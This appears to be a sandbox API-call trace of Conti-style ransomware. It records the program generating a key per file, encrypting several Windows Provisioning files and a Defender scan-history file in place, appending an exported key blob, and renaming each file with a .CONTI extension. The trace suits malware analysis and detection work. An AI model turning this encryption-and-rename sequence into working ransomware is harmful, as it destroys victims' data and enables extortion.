	[0114.725] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.725] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x93d, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x93d, lpOverlapped=0x0) returned 1
	[0114.725] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x93d, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x940) returned 1
	[0114.725] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.725] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x940, lpOverlapped=0x0) returned 1
	[0114.725] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.725] WriteFile (in: hFile=0x408, lpBuffer=0x65d4078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65d4078*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.725] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.725] CloseHandle (hObject=0x408) returned 1
	[0114.725] GetProcessHeap () returned 0x1720000
	[0114.726] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65ac808
	[0114.726] lstrcpyW (in: lpString1=0x65ac808, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0114.726] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI"
	[0114.726] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml.conti")) returned 1
	[0114.726] GetProcessHeap () returned 0x1720000
	[0114.726] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ac808 | out: hHeap=0x1720000) returned 1
	[0114.726] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.726] GetProcessHeap () returned 0x1720000
	[0114.726] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd510 | out: hHeap=0x1720000) returned 1
	[0114.726] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0114.726] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65d4e30 | out: phKey=0x65d4e30*=0x6b7f4f8) returned 1
	[0114.726] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d4e34, pdwDataLen=0x4bffe94 | out: pbData=0x65d4e34*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0114.727] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml")) returned 0x20
	[0114.728] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0114.728] GetLastError () returned 0x0
	[0114.728] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=4120) returned 1
	[0114.728] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1018
	[0114.728] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.728] SetEndOfFile (hFile=0x408) returned 1
	[0114.728] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.728] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.729] WriteFile (in: hFile=0x408, lpBuffer=0x65d4e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d4e34*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.824] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.824] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x1018, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x1018, lpOverlapped=0x0) returned 1
	[0114.825] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1018, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1020) returned 1
	[0114.825] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.825] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x1020, lpOverlapped=0x0) returned 1
	[0114.825] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.825] WriteFile (in: hFile=0x408, lpBuffer=0x65d4e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65d4e28*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.826] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.826] CloseHandle (hObject=0x408) returned 1
	[0114.826] GetProcessHeap () returned 0x1720000
	[0114.826] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65ac808
	[0114.826] lstrcpyW (in: lpString1=0x65ac808, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml"
	[0114.826] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.CONTI"
	[0114.826] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml.conti")) returned 1
	[0114.827] GetProcessHeap () returned 0x1720000
	[0114.827] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ac808 | out: hHeap=0x1720000) returned 1
	[0114.827] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0114.827] GetProcessHeap () returned 0x1720000
	[0114.827] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6575d88 | out: hHeap=0x1720000) returned 1
	[0114.827] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0114.827] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65d72b0 | out: phKey=0x65d72b0*=0x6b7f3b8) returned 1
	[0114.827] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d72b4, pdwDataLen=0x4bffe94 | out: pbData=0x65d72b4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0114.828] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml")) returned 0x20
	[0114.828] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0114.829] GetLastError () returned 0x0
	[0114.829] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=6457) returned 1
	[0114.829] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1939
	[0114.829] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.829] SetEndOfFile (hFile=0x408) returned 1
	[0114.829] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.829] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.829] WriteFile (in: hFile=0x408, lpBuffer=0x65d72b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d72b4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.831] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.831] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x1939, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x1939, lpOverlapped=0x0) returned 1
	[0114.832] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1939, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1940) returned 1
	[0114.832] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.832] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x1940, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x1940, lpOverlapped=0x0) returned 1
	[0114.832] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.832] WriteFile (in: hFile=0x408, lpBuffer=0x65d72a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65d72a8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.832] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.832] CloseHandle (hObject=0x408) returned 1
	[0114.832] GetProcessHeap () returned 0x1720000
	[0114.832] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65ac808
	[0114.832] lstrcpyW (in: lpString1=0x65ac808, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml"
	[0114.832] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.CONTI"
	[0114.832] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml.conti")) returned 1
	[0114.833] GetProcessHeap () returned 0x1720000
	[0114.833] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ac808 | out: hHeap=0x1720000) returned 1
	[0114.833] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0114.833] GetProcessHeap () returned 0x1720000
	[0114.833] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6e60 | out: hHeap=0x1720000) returned 1
	[0114.833] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0114.833] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65d39a8 | out: phKey=0x65d39a8*=0x6b7f478) returned 1
	[0114.833] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d39ac, pdwDataLen=0x4bffe94 | out: pbData=0x65d39ac*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0114.834] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml")) returned 0x20
	[0114.834] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0114.834] GetLastError () returned 0x0
	[0114.834] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=6457) returned 1
	[0114.834] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1939
	[0114.834] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.834] SetEndOfFile (hFile=0x408) returned 1
	[0114.835] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.835] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.835] WriteFile (in: hFile=0x408, lpBuffer=0x65d39ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d39ac*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.351] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.356] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x1939, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x1939, lpOverlapped=0x0) returned 1
	[0115.357] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1939, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1940) returned 1
	[0115.357] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.357] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x1940, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x1940, lpOverlapped=0x0) returned 1
	[0115.357] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.357] WriteFile (in: hFile=0x408, lpBuffer=0x65d39a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65d39a0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0115.358] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.358] CloseHandle (hObject=0x408) returned 1
	[0115.358] GetProcessHeap () returned 0x1720000
	[0115.358] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.362] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml"
	[0115.362] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.CONTI"
	[0115.363] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml.conti")) returned 1
	[0115.364] GetProcessHeap () returned 0x1720000
	[0115.364] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.364] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0115.364] GetProcessHeap () returned 0x1720000
	[0115.365] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181a150 | out: hHeap=0x1720000) returned 1
	[0115.365] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0115.365] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b42be8 | out: phKey=0x6b42be8*=0x6b7f538) returned 1
	[0115.365] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b42bec, pdwDataLen=0x4bffe94 | out: pbData=0x6b42bec*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0115.365] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\05\\191")) returned 0x20
	[0115.366] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\05\\191" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\05\\191"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.366] GetLastError () returned 0x0
	[0115.366] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=136) returned 1
	[0115.366] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.366] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.366] SetEndOfFile (hFile=0x408) returned 1
	[0115.366] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.366] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.366] WriteFile (in: hFile=0x408, lpBuffer=0x6b42bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b42bec*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
